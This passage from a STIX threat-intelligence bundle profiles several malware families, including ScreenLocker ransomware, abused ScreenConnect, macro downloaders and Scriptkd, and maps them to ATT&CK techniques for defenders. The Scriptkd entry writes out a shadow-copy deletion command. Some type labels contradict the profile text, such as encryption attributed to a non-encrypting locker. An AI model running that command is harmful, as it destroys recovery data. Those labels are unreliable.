scrambled headers, the threat actor ensures the modified executable still contains a functional, albeit non-standard, unpacking stub that allows the payload to successfully execute and decompress itself in memory when run by the victim.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of a ScramUPX-packed executable in a corporate environment is a high-severity alert. Legitimate software developers do not use ScramUPX. Its presence strongly implies an active attempt to bypass endpoint security controls to deploy an unknown, potentially highly destructive payload.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Isolation and Triage:</strong> Isolate the endpoint. Do not attempt to run the file to see what it does.</li>\n<li><strong>Dynamic Analysis (Sandboxing):</strong> The only effective way to determine the true nature of a ScramUPX-packed file is to execute it in a secure, isolated malware sandbox (e.g., Cuckoo Sandbox) and observe its behavioral telemetry (network connections, process injection).</li>\n<li><strong>Memory Forensics:</strong> If the file has already been executed, traditional file scanning is useless. Incident responders must capture the system's RAM and perform memory forensics to extract the uncompressed malicious payload that is currently running in memory.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Packer.ScramUPX",
        "Tool.UPXScrambler",
        "Obfuscator.Win32"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Scramupx",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/scramupx"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--94d84af3-8882-5842-b48c-b12819fc215d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fc3772d5-df37-5152-be76-9536570ad15f",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scramupx exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e7be4807-08f6-5417-a9f0-1f79854bb0a9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fc3772d5-df37-5152-be76-9536570ad15f",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scramupx exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a16ed680-73e3-58bd-939c-030e95b8eba6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fc3772d5-df37-5152-be76-9536570ad15f",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scramupx exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell (Used in infection chain))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--42922898-1120-5fc4-a6e3-642a1fabda0e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fc3772d5-df37-5152-be76-9536570ad15f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scramupx exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ab6d07c5-9cb1-57e0-8193-11e11e3fd35e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fc3772d5-df37-5152-be76-9536570ad15f",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scramupx exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--29a136ba-8bb1-5a44-9cda-8dbe00f0f6db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fc3772d5-df37-5152-be76-9536570ad15f",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scramupx exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--01846093-df76-5ff6-9f76-4c1c9f825611",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Screen",
      "description": "<h3>Executive Summary</h3>\n\"Screen\" (often categorized as ScreenLocker or Winlock) refers to a specific subclass of Ransomware that primarily aims to extort victims by denying access to the operating system's graphical user interface (GUI), rather than encrypting the underlying files. While technically less sophisticated than crypto-ransomware, ScreenLockers are highly disruptive and rely on intense psychological pressure to coerce payment.\n\n<h3>Infection Vector and Lock Mechanisms</h3>\nScreenLockers are frequently distributed via malvertising, drive-by downloads on compromised websites, or masquerading as legitimate software updates (like fake Adobe Flash Player installers).\n\nUpon execution, the malware immediately seizes control of the user's display:\n<ul>\n<li><strong>Interface Hijacking:</strong> The malware forces a full-screen application to the foreground, completely obscuring the Windows desktop. It actively disables keyboard shortcuts (like Alt+Tab, Ctrl+Alt+Del, and the Windows Key) to prevent the user from closing the lock screen or accessing the Task Manager.</li>\n<li><strong>Psychological Coercion:</strong> The lock screen typically displays a highly intimidating message. A common tactic involves masquerading as a local law enforcement agency (e.g., the FBI or local police), accusing the victim of downloading illegal content, and demanding a \"fine\" to be paid via untraceable methods like prepaid gift cards or cryptocurrency.</li>\n<li><strong>Persistence:</strong> The malware modifies registry keys (such as `Winlogon\\Shell`) to ensure the lock screen launches immediately upon system reboot, before the legitimate `explorer.exe` process can start.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile highly disruptive to the individual user, ScreenLockers generally do not encrypt the underlying file system. Therefore, the data remains intact, provided the machine is not hastily formatted. However, the presence of a ScreenLocker indicates a failure in perimeter and endpoint security.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Safe Mode Boot:</strong> The primary remediation tactic is to reboot the infected machine into \"Safe Mode with Command Prompt.\" This bypasses the malware's registry persistence hooks, allowing an administrator to manually delete the malicious executable and repair the `Winlogon` registry keys.</li>\n<li><strong>Offline Scanning:</strong> If Safe Mode is also locked, the machine must be booted from a clean, offline Antivirus Rescue USB drive to scan and remove the infection without loading the compromised host operating system.</li>\n<li><strong>Do Not Pay:</strong> Payment should never be made. It funds criminal enterprise, and there is no guarantee the attackers will provide the unlock code.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan-Ransom.Win32.Screen",
        "ScreenLocker",
        "Winlock"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Screen",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/screen"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--44a6507c-536a-5c86-988a-da81c8d3b6a8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--01846093-df76-5ff6-9f76-4c1c9f825611",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Screen exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--46d1452f-703a-5564-98e3-dfc7176df95d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--01846093-df76-5ff6-9f76-4c1c9f825611",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Screen exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--74543e77-2135-5350-9ca5-1d03bbdec27b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--01846093-df76-5ff6-9f76-4c1c9f825611",
      "target_ref": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Screen exhibits technique T1489 (Service Stop (Forcefully stopping AV services))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--563b6aa7-6cb8-50b8-b4e4-5ff21960e2a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Screenconnect",
      "description": "ScreenConnect (ConnectWise ScreenConnect, classified across security telemetry as Tool:Win32/ScreenConnect and RemoteAccess:Win32/ScreenConnect) is a legitimate remote desktop and IT management software suite that is extensively weaponized and abused by cybercrime syndicates and ransomware cartels (e.g., BlackCat/ALPHV, LockBit, Play, and BianLian). Threat actors abuse exposed ConnectWise ScreenConnect instances or weaponize critical remote code execution vulnerabilities (such as CVE-2024-1709 and CVE-2024-1708) to deploy unauthorized ScreenConnect client agents. The tool provides operators with high-privilege interactive desktop access, file transfer, and remote command execution, effectively serving as an unblockable, legitimate-appearing backdoor to facilitate enterprise-wide ransomware deployment. (Observed samples in benchmark: 14)",
      "is_family": true,
      "malware_types": [
        "exploit-kit"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Tool:Win32/ScreenConnect",
        "RemoteAccess:Win32/ScreenConnect",
        "ScreenConnect Remote Access",
        "ConnectWise ScreenConnect Abuse",
        "HackTool:Win32/ScreenConnect"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Screenconnect",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/screenconnect"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-054a"
        }
      ],
      "labels": [
        "hacktool",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e16f453-161d-5f8f-b1a9-8662e94d7505",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--563b6aa7-6cb8-50b8-b4e4-5ff21960e2a2",
      "target_ref": "attack-pattern--8062a450-e074-5be5-a9de-9c338b106aaa",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Screenconnect exhibits technique T1219 (Remote Access Software)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8ca68208-8818-59c6-886f-ec9de4ba80b5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--563b6aa7-6cb8-50b8-b4e4-5ff21960e2a2",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Screenconnect exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d188d8fe-8278-5bf7-8206-a15c58cf3a91",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--563b6aa7-6cb8-50b8-b4e4-5ff21960e2a2",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Screenconnect exhibits technique T1105 (Ingress Tool Transfer (Deploying the RMM))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d005059b-1fec-502c-982a-20dad76c46c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--563b6aa7-6cb8-50b8-b4e4-5ff21960e2a2",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Screenconnect exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4933eaad-b961-526d-9312-5d5638990e07",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--563b6aa7-6cb8-50b8-b4e4-5ff21960e2a2",
      "target_ref": "attack-pattern--8e710e9c-d045-55d0-aa9b-984f010643f0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Screenconnect exhibits technique T1036 (Masquerading (Hiding in legitimate traffic))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--16de1fdc-f64b-55a5-b9c9-bf26c86b9e4a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Screenmate",
      "description": "Joke:Win32/Screenmate (also classified as Riskware or PUA) refers to a broad category of vintage novelty programs designed to display animated characters, animals, or objects interacting with the Windows desktop environment. While generally harmless and intended for entertainment (e.g., the infamous 'Desktop Goose' or vintage 'Neko' cat), in an enterprise environment, they are classified as Riskware because they consume unnecessary resources, distract users, and are frequently bundled with actual spyware or adware.<br><br><b>Understanding the Screenmate Threat</b><br>To an end-user, a Screenmate is a fun, novelty application they downloaded from a forum. For a corporate IT department, it is a nuisance application that violates Acceptable Use Policies and represents a failure in endpoint application whitelisting. Technically, Screenmates often require high privileges to draw over other windows and hook into mouse/keyboard inputs, mirroring the behaviors of actual malware.<br><br><b>Execution and Risk Profile</b><br>Screenmates are typically downloaded manually by users seeking desktop customizations (`T1204.002`). Upon execution, they use Windows GDI (Graphics Device Interface) APIs to draw animated sprites directly onto the desktop, often setting their window to 'always on top'. To create interactive effects, they utilize system-wide API hooks (`T1056`) to monitor mouse coordinates and keyboard input. While the program itself may just be a joke (`T1491`), the *method* of delivery is identical to adware, and modern threat actors frequently take popular, open-source Screenmate code and repackage it with hidden cryptominers or infostealers (`T1189`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a loss of productivity, minor system sluggishness, and the potential for secondary malware infection. IoCs are highly visible: unauthorized animated characters moving across the user's screen. EDR logs will flag unsigned executables (often running from the `%Downloads%` folder) making extensive use of `SetWindowsHookEx` to intercept mouse/keyboard input. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Screenmate",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/screenmate"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9f80231d-ac19-5d64-91c9-ffec7b9bcce8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--16de1fdc-f64b-55a5-b9c9-bf26c86b9e4a",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Screenmate exhibits technique T1204.002 (User Execution: Malicious File (User-initiated download))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4e17a062-f815-5713-a020-e1ca0c80caa9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--16de1fdc-f64b-55a5-b9c9-bf26c86b9e4a",
      "target_ref": "attack-pattern--dfcfa682-f757-5727-b61f-982c98fe4440",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Screenmate exhibits technique T1056 (Input Capture (API hooking for interactivity))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6a05a6b5-2f20-5cf2-b9eb-7e1c4cad1aac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--16de1fdc-f64b-55a5-b9c9-bf26c86b9e4a",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Screenmate exhibits technique T1491 (Defacement (Altering the desktop environment))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--96dd6402-d853-5201-a6b1-3b47eed0cc28",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--16de1fdc-f64b-55a5-b9c9-bf26c86b9e4a",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Screenmate exhibits technique T1189 (Drive-by Compromise (Bundled secondary payloads))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1d40e963-a6dd-5b34-9c92-5b538567ad22",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Scribble",
      "description": "TrojanDownloader:O97M/Scribble (or similar macro-based droppers) represents a prevalent technique for initial access: the weaponization of Microsoft Office documents (Word, Excel) using malicious Visual Basic for Applications (VBA) macros. Scribble is not the final payload; rather, it is a heavily obfuscated script designed to execute when the user opens the document and enables content, securely downloading a secondary, severe threat like Emotet, Trickbot, or ransomware.<br><br><b>Understanding Macro Downloaders (Scribble)</b><br>To an end-user, the attack arrives as a seemingly urgent email (an invoice, a resume, a shipping notice) with an attached Office document. When opened, the document often displays a 'lure'\u2014a blurry image or fake security warning\u2014instructing the user to click 'Enable Content' or 'Enable Macros' to view the text. For a SOC analyst, this is the classic, highly effective initial breach vector relying entirely on social engineering.<br><br><b>Execution and Payload Delivery Mechanics</b><br>The attack begins with a spear-phishing email (`T1566.001`). The attached document contains malicious VBA code (`T1059.005`). To evade static AV analysis, the macro code is heavily obfuscated (`T1027`), often using string reversal, junk code insertion, and dynamic execution (e.g., using `ExecuteExcel4Macro` or building strings at runtime). Once the user enables macros (`T1204.002`), the VBA script executes. It typically spawns hidden instances of legitimate 'Living off the Land' (LotL) binaries like `powershell.exe`, `cmd.exe`, or `wscript.exe` (`T1059.001`). These system tools are passed obfuscated command-line arguments instructing them to reach out to a hardcoded URL (`T1105`), download the final payload (often an `.exe` or `.dll`), and execute it.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the downloaded payload (frequently ransomware or banking trojans). Host-based IoCs are highly visible in EDR: analysts will see Office applications (`WINWORD.EXE`, `EXCEL.EXE`) exhibiting anomalous behavior, specifically spawning child processes like `powershell.exe` or `cmd.exe` that make outbound HTTP/HTTPS connections. Network IoCs include the outbound connection to the C2 server to retrieve the payload. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Scribble",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/scribble"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a501b388-993a-51b1-89ad-3a138adbf90d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d40e963-a6dd-5b34-9c92-5b538567ad22",
      "target_ref": "attack-pattern--4a2de5a3-e5b3-59c0-9f8f-c714683837e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scribble exhibits technique T1059.005 (Command and Scripting Interpreter: Visual Basic (Malicious Macros))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--396d1ed7-d489-5209-9629-83e192b86eae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d40e963-a6dd-5b34-9c92-5b538567ad22",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scribble exhibits technique T1204.002 (User Execution: Malicious File (Enabling macros))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dd666d14-3d0c-5255-bae0-073e12591a81",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d40e963-a6dd-5b34-9c92-5b538567ad22",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scribble exhibits technique T1027 (Obfuscated Files or Information (Obfuscated VBA code))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5f0249a1-9ebf-51c9-b8fd-ba5c60514cbc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d40e963-a6dd-5b34-9c92-5b538567ad22",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scribble exhibits technique T1105 (Ingress Tool Transfer (Downloading the final payload))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e8597137-9e83-5fca-aa66-715acb0e5a56",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Scriptkd",
      "description": "Scriptkd (classified as Ransom:Win32/Scriptkd and Trojan-Ransom.Win32.Scriptkd) is a script-based and multi-stage crypto-ransomware family combining Windows Script Host (WSH/VBScript), PowerShell, and compiled PE binaries. Delivered via phishing attachments with .vbs or .wsf files, Scriptkd uses obfuscated script routines to bypass initial email gateways and static scanner heuristics. The script downloads or unpacks an AES-256 cryptographic locker onto the endpoint. Scriptkd traverses mounted drive letters and network shares, encrypting documents, databases, and image archives while appending custom extensions. It executes shell commands to wipe Volume Shadow Copies (vssadmin delete shadows /all /quiet) and creates persistent desktop ransom notifications. (Observed samples in benchmark: 15)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Scriptkd",
        "Trojan-Ransom.Win32.Scriptkd",
        "Win32/Scriptkd",
        "Scriptkd Ransomware",
        "Ransom.Scriptkd"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Scriptkd",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/scriptkd"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3d1eb941-538f-576d-a12e-713413292750",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e8597137-9e83-5fca-aa66-715acb0e5a56",
      "target_ref": "attack-pattern--4a2de5a3-e5b3-59c0-9f8f-c714683837e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scriptkd exhibits technique T1059.005 (Command and Scripting Interpreter: Visual Basic)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dcbc0b66-6c00-5ad4-8aea-5bc708fa86dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e8597137-9e83-5fca-aa66-715acb0e5a56",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scriptkd exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e749c4b8-9192-581f-94f6-23d7e1155f71",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e8597137-9e83-5fca-aa66-715acb0e5a56",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scriptkd exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5fc890a7-0982-5857-ac77-c9dee9ddc948",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e8597137-9e83-5fca-aa66-715acb0e5a56",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scriptkd exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--451ae7a0-0a85-5cf4-9e6f-747a53d690d2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e8597137-9e83-5fca-aa66-715acb0e5a56",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scriptkd exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fd8484a6-e71e-5235-806b-5f27fac5eaf5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Scrop",
      "description": "Scrop (cataloged across security vendors and threat intelligence databases under signatures including Trojan-Dropper:Win32/Scrop, Backdoor:Win32/Scrop, and Trojan.Win32.Scrop) is a stealthy Windows trojan dropper and initial access framework active since 2017. Propagated primarily through malicious email attachments, cracked software utilities, and drive-by downloads, Scrop serves as an evasion-focused loader designed to securely deploy secondary malware payloads such as banking trojans, information stealers, and remote access backdoors. Upon execution, Scrop establishes persistence via Windows Startup scripts (such as xcutes.exe.vbs) and scheduled tasks. To bypass host security controls and static antivirus signatures, Scrop leverages process injection into trusted native utilities like RegAsm.exe or svchost.exe, executing its decrypted payload in memory while establishing encrypted outbound C2 beacons. (Observed samples in benchmark: 53)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan-Dropper:Win32/Scrop",
        "Backdoor:Win32/Scrop",
        "Trojan.Win32.Scrop",
        "Win32/Scrop",
        "Dropper.Win32.Scrop"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Scrop",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/scrop"
        }
      ],
      "labels": [
        "trojan_downloader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f44255c1-3def-5048-95c2-332a46be0c4f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sdbot",
